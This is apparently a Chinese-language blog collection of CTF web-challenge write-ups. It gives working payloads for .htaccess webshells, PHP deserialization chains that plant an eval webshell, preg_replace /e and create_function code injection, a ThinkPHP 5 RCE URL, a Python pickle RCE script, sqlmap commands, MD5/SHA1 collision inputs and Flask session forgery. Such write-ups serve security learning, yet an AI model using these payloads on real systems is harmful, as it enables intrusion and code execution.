又是一道新知识点,学到了好多,进一步了解了.htaccess文件的特性

首先来看一下题目的逻辑,首先删除当前目录下非index.php的文件,之后获取filename和content并写入文件中。其中对filename和content都有过滤,对内容还有拼接hello world

联想到服务器用的是Apache服务器,一般会结合.htaccess来getshell

通常我们用

.htaccess来解析非php后缀文件时用到

AddType application/x-httpd-php .ppp

或者

<FilesMatch “shell.jpg”>

SetHandler application/x-httpd-php

但是此时content中过滤了on,type,并且过滤了file,那么

auto_append_file和

auto_prepend_file肯定也无法使用,搜索中.htaccess+getshell大多数也是结合这两种方法,结合题目逻辑:

删除除了index.php的所有文件,但是.htaccess如果上传肯定unlink没法删除

原题目还有一部包含fl3g.php代码

借鉴原作者,作者利用到了php.ini的include_path

include_path用来设置include()或require()函数包含文件的参考路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且达到fl3g.php文件不被删除。然而经过一番搜索,并未找到可修改filename中文件路径分隔符的配置项,因此路径分割符/无法使用,即无法file_put_contents任意目录写文件。

image-20240129192758844

后边发现该函数可以将错误日志保存到指定的目录中,可以在通过设置php_value的值将错误信息保存在fl3g.php中(此做法限于原题目,存在include(fl3g.php))

此题2种做法

第一种,采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess

payload:

1
2

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls /')%3B%3F%3E%5C

第二种

先写入.htaccess
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess

再直接通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

htaccess的利用https://blog.csdn.net/LYJ20010728/article/details/116541325

[BJDCTF 2020]ZJCTF,不过如此

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

\next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

考到了preg_replace函数/e 模式下的代码执行

1
2
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});

出现strtolower(“\1”)’要注意了

1
?\S*=${getflag()}&cmd=system('cat /flag');

[SWPUCTF 2022 新生赛]Ez_upload

这个题没想到的是他普通的图片也过滤,属实有点过了

很简单的一个绕过就可以,将类型改为Content-Type: image/jpeg结合短标签就可绕过

.htaccess

1
2
3
<FilesMatch "2.png">
SetHandler application/x-httpd-php
</FilesMatch>

2.png

1
2
GIF89a
<script language="pHp">@eval($_POST['1'])</script>

[羊城杯 2020]easyser

御剑扫到后台robots.txt

根据提示到/shar1.php,查看源码发现

image-20240131144846055

需要利用不安全的协议才能进入到ser.php

做到这里我是一脸蒙的,啥不安全协议啊,后面想了想页面有百度,好像跟ssrf有关,结合一下想到http恰好使不安全协议

image-20240131145137594

我们访问http://127.0.0.1/ser.php

1
?path=http://127.0.0.1/ser.php

页面出现了ser.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';

class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;

}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}

?>

首先绕过die死亡绕过,base64编码即可绕过,但是呢,新奇的是,链子写出来了,发现这个题没有传参点,我。。。

去看了佬们的wp,发现需要理由模糊测试工具,找出来传参点

image-20240131154407581

这里用到arjun,不明白我的怎么扫不出来,看wp扫的是参数c

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yongen();
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php";
$this -> text = "PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=";

}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}

$a=new GWHT();
echo serialize($a);
?>
1
2
3
4
5
6
7
O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:76:"php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php";s:4:"text";s:36:"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=";}}




/star1.php/?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:76:"php://filter/write=string.strip_tags|convert.base64-decode/resource=1111.php";s:4:"text";s:36:"PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=";}}

接着访问1111.php

image-20240131155746583

[安洵杯 2019]easy_web

image-20240205122732539

打开页面发现url处有img和cmd传参

查看源码发现图片存在base64编码,尝试把图片去解码发现存在两次base64和一次hex,

image-20240205123435577利用这个思路我们读取index.php

1
img=TXpVek5UTTFNbVUzTURabE5qYz0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5墙碰撞

试了好多遍都不对,无奈开了个独立靶机才可以

payload

1
?img=&cmd=sort+/flag 
1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

[FSCTF 2023]CanCanNeed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Noteasy{
protected $param1;
protected $param2;

function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}

}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>

这个题对我来说也是遇到了新知识点

create_function()的利用

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

1
2
3
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

实例:

1
2
3
4
<?php
$newfunc = create_function('$a, $b', 'return "$a + $b = " . ($a + $b);');
echo "function: " . $newfunc . "\n";
echo $newfunc(3,4);

image-20240212153824531

可以看到创建的匿名函数名字为lambda_1

运行结果为7

1
2
3
4
5
6
7
8
9
10
<?php
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";

在这个例子中,将$str2的参数带入到create_function中执行,那我们就需要闭合这个函数,然后注释接下来的语句就可以形成我们的payload

1
http://fx.com/create2.php?id=;};phpinfo();//

借用一下图片

image-20240212154006212

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//常规方法
function func($a){
echo $a . 'test' . $_GET['id'] . ';';
}

//create2.php?id=;};phpinfo();// 注入后的代码
function func($a){
echo $a . 'test';}
phpinfo();//' . ';' //形成代码注入
}

传入的;}形成闭合,后面形成代码注入并执行

payload:

1
2
3
4
5
6
7
8
9
10
<?php
class Noteasy{
protected $param1="create_function";
protected $param2=";};system(\;//";



}
$a=new Noteasy();
echo base64_encode(serialize($a));

[HZNUCTF 2023 preliminary]guessguessguess

本来是个sql注入的题,一个框框输入他会翻转过来输入ofniphp会得到法拉格

[NSSRound#1 Basic]sql_by_sql

存在注册

首先二次注入注册

1
2
3
admin' --

1234

登录成功后存在修改密码功能

修改密码为qqqq随便吧

登录

1
2
3
admin

qqqq

登录成功后有查询功能

image-20240213182311456

查询出存在sql注入

sqlmap跑,注意下需要有cookie,这次数据库是sqllite,不是mysql

1
2
3
4
python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" 
python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -tables
python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -T flag -columns
python3 sqlmap.py -u http://node4.anna.nssctf.cn:28625/query -cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZctC5Q.uswGw8GnjwXU4X_8iHyzzAWaFSE" --data="id=1" -T flag -C flag -dump

image-20240213183337518

image-20240213183351183

[SWPUCTF 2022 新生赛]ez_rce

扫目录的robot.txt thinkphp5.x漏洞

NSS/index.php//to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /nss/ctf/flag/flag

[HZNUCTF 2023 preliminary]pickle

名字已经很明显了pickle反序列化

开局就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0')

过滤了os,拼接绕过

calc路由传信息

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64
import pickle
import urllib
class genpoc(object):
def __reduce__(self):
cmd = 'env| tee a' # 要执行的命令
# s = "__import__('o'+'s').popen('{}').read()".format(cmd)
s = "__import__('o'+'s').system('{}')".format(cmd)
return (eval, (s,)) # reduce函数必须返回元组或字符串

poc = pickle.dumps(genpoc())
print(poc)
print(base64.b64encode(poc))

/readFile?filename=a读回显

flag在环境变量

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

使用指令”tee”将用户输入的数据同时保存到文件”file1”和”file2”中,输入如下命令:

1
$ tee file1 file2   

如果想同时打印到屏幕和文件里,可以这么写:

1
$ ls -l | tee -a lsls.log

如果想把错误输出也同时打印到屏幕和文件,可以这么写:

1
$ ls -l not_find_runoob 2>&1 | tee -a lsls.log

其中,2>&1 意思就是把标准报错也作为标准输出。写 crontab job 的时候常用

[CISCN 2019华东南]Web4

开题有一个ssrf跳转点,尝试file://去读、etc/passwd发现不行,去网上搜wp学到了local_file://也可以读

原谅我后边发现直接输也能输出

image-20240312155030032

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

session=fuck就能得到flag

1
app.config['SECRET_KEY'] = str(random.random()*233)`,对于伪随机数,知道seed即可,uuid.getnode()用于获取mac地址并转换为整数,读取MAC地址payload:`local_file:///sys/class/net/eth0/address
1
02:42:ac:02:e1:2c

python2跑

1
2
3
4
 import random
random.seed(0x0242ac02e1c3)
print(str(random.random()*233))
15.5242413851解密
1
2
3
4
5
D:\CTF\ctf\baoku\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZfAbBg.uTEgqtcJ19b1yz9j5PdRnj5am_Y" -s 15.5242413851
{'username': b'www-data'}

D:\CTF\ctf\baoku\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py encode -t "{'username': b'fuck'}" -s 15.5242413851
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZfActA.Htvj0a0Gogx1VO1PEObKftwI2t8

替换访问flag即可,加解密这里出了好多次错误,

-s 15.5242413851 不要-s “15.5242413851”加引号

随机数不确定,解密的时候记得试试能不能解密,能解密才是对的key

[SWPUCTF 2023 秋季新生赛]NSS大卖场

update注入

hint里获得数据库备份

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for items
-- ----------------------------
DROP TABLE IF EXISTS `items`;
CREATE TABLE `items` (
`id` int(11) NOT NULL,
`name` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
`price` int(11) NOT NULL,
`have` int(11) NOT NULL,
`info` longtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`) USING BTREE
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of items
-- ----------------------------
INSERT INTO `items` VALUES (1, 'X尼小熊', 999, 0, '...');
INSERT INTO `items` VALUES (2, 'ICBM火', 999, 0, '...');
INSERT INTO `items` VALUES (3, 'Haruki拖鞋', 999, 0, '...');
INSERT INTO `items` VALUES (4, 'WD鸽毛', 999, 0, '...');
INSERT INTO `items` VALUES (5, '谢队出狱图', 999, 0, '...');
INSERT INTO `items` VALUES (6, 'SC学姐', 999, 0, '...');
INSERT INTO `items` VALUES (7, '探姬女装', 999, 0, '...');
INSERT INTO `items` VALUES (8, 'FLAG', 999999999, 0, 'flag is here');

-- ----------------------------
-- Table structure for users
-- ----------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`user_name` varchar(11) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL,
`balance` int(10) NOT NULL,
PRIMARY KEY (`user_name`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 2 CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of users
-- ----------------------------
INSERT INTO `users` VALUES ('nss', 10000);

SET FOREIGN_KEY_CHECKS = 1;

发现购买物品,存在id样式

image-20240313172021173

猜测为SELECT .... WHERE id= ...

尝试:/buy/1';UPDATE items SET price=1;#

过滤了UPDATE和空格,采用编码绕过和大小写绕过
Payload:/buy/1';UPdATE%09items%09SeT%09price=1;#
购买FLAG并前往背包查看即可

[NISACTF 2022]level-up

闯关闯麻了

第一关robots.txt

看到第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /level_2_1s_h3re.php HTTP/1.1
Host: node5.anna.nssctf.cn:28541
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 403
Origin: http://node5.anna.nssctf.cn:28541
Connection: close
Referer: http://node5.anna.nssctf.cn:28541/level_2_1s_h3re.php?array1[]=1&&array2[]=3
Upgrade-Insecure-Requests: 1

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里卡了好久,明明就是MD5强比较,换了好几组都不行,用浏览器发POST死活不行,后面换了burp,在&前加了个回车才行,离谱

第三关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (sha1($a1) === sha1($a2)){
echo $level4;
}
else{
die("level 3 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

第三观也是一样,&缺个回车

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /Level___3.php HTTP/1.1
Host: node5.anna.nssctf.cn:28541
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflatea
Content-Type: application/x-www-form-urlencoded
Content-Length: 1300
Origin: http://node5.anna.nssctf.cn:28541
Connection: close
Referer: http://node5.anna.nssctf.cn:28541/Level___3.php
Upgrade-Insecure-Requests: 1

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

第4关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);

$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}

?>
give me a parameterlevel 4 failed ...

php会把+转换成_

[MoeCTF 2021]fake game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
const express = require('express')
const ejs = require('ejs')

const app = express()
app.use(express.json());
app.use(express.urlencoded({extended: true}));
app.use('/static/', express.static("./static/"));
app.engine('html', ejs.__express);
app.set('view engine', 'html');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
for (let attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}

function objectInit() {
if (Object.prototype.health) {
Object.prototype.health = undefined;
}
if (Object.prototype.attack) {
Object.prototype.attack = undefined;
}
if (Object.prototype.armor) {
Object.prototype.armor = undefined;
}
}

let flag = "moectf{The_game_1s_s0_funny!!}";
let user = {};
let boss = {
health: 100,
attack: 100,
armor: 100,
}

app.get('/', function (req, res) {
res.render("index.html")
})

app.post('/api/fight', function (req, res) {
objectInit();
try {
console.log(req.body.attributes.health, req.body.attributes.attack, req.body.attributes.armor);
} catch (e) {
res.json({
"status": 500
});
}
if (req.body.attributes.health === null) {
req.body.attributes.health = 0;
}
if (req.body.attributes.attack === null) {
req.body.attributes.attack = 0;
}
if (req.body.attributes.armor === null) {
req.body.attributes.armor = 0;
}
if (typeof req.body.attributes.health !== "number" || typeof req.body.attributes.attack !== "number" || typeof req.body.attributes.armor !== "number") {
res.json({
"status": 403
});
}
if (req.body.attributes.health + req.body.attributes.attack + req.body.attributes.armor > 10) {
res.json({
"status": 403
});
} else if (req.body.attributes.health < 0 || req.body.attributes.attack < 0 || req.body.attributes.armor < 0) {
res.json({
"status": 403
});
}
if (req.body.attributes.health === 0 || req.body.attributes.health === null) {
delete req.body.attributes.health;
}
if (req.body.attributes.attack === 0 || req.body.attributes.attack === null) {
delete req.body.attributes.attack;
}
if (req.body.attributes.armor === 0 || req.body.attributes.armor === null) {
delete req.body.attributes.armor;
}
merge(user, req.body.attributes);
let bossHealth = boss.health;
let userHealth = user.health;
if (userHealth === undefined) userHealth = 0;
let bossHurt = user.attack - boss.armor;
if (bossHurt < 0) bossHurt = 0;
let userHurt = boss.attack - user.armor;
if (userHurt < 0) userHurt = 0;
let count = 0;
console.log(bossHealth, userHealth, bossHurt, userHurt);
while (1) {
count++;
if (count > 10000) {
res.json({
"status": 200,
"result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次"
});
break;
}
bossHealth -= bossHurt;
if (bossHealth <= 0) {
res.json({
"status": 200,
"result": "勇者已经被merge到魔王城了!!!\n勇者大胜利!\n这是你的战利品:" + flag
});
break;
}
userHealth -= userHurt;
if (userHealth <= 0) {
res.json({
"status": 200,
"result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次"
});
break;
}
}
})

app.listen(8899)

根据源码boss初始血量为100,需要让他为0即可被打败,js啦,原型链污染,看条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
console.log(bossHealth, userHealth, bossHurt, userHurt);
while (1) {
count++;
if (count > 10000) {
res.json({
"status": 200,
"result": "勇者已经被merge到魔王城了!!!\n你死了,请再来一次"
});
break;
}
bossHealth -= bossHurt;
if (bossHealth <= 0) {
res.json({
"status": 200,
"result": "勇者已经被merge到魔王城了!!!\n勇者大胜利!\n这是你的战利品:" + flag
});
break;
}

boss血量为0就行,一次计数1,10000才能打败得到flag,一下打死就行应该(确信

image-20240423165355818

[HNCTF 2022 Week1]Challenge__rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

过滤的挺狠的,$()+,.0123456789;=[]_{} 其实还好,可以用自增,就是得慢慢拼

[b01lers 2020]Welcome to Earth

抓包找+JS找

[NSSRound#4 SWPU]ez_rce

有点不理解这个题

1
2
3
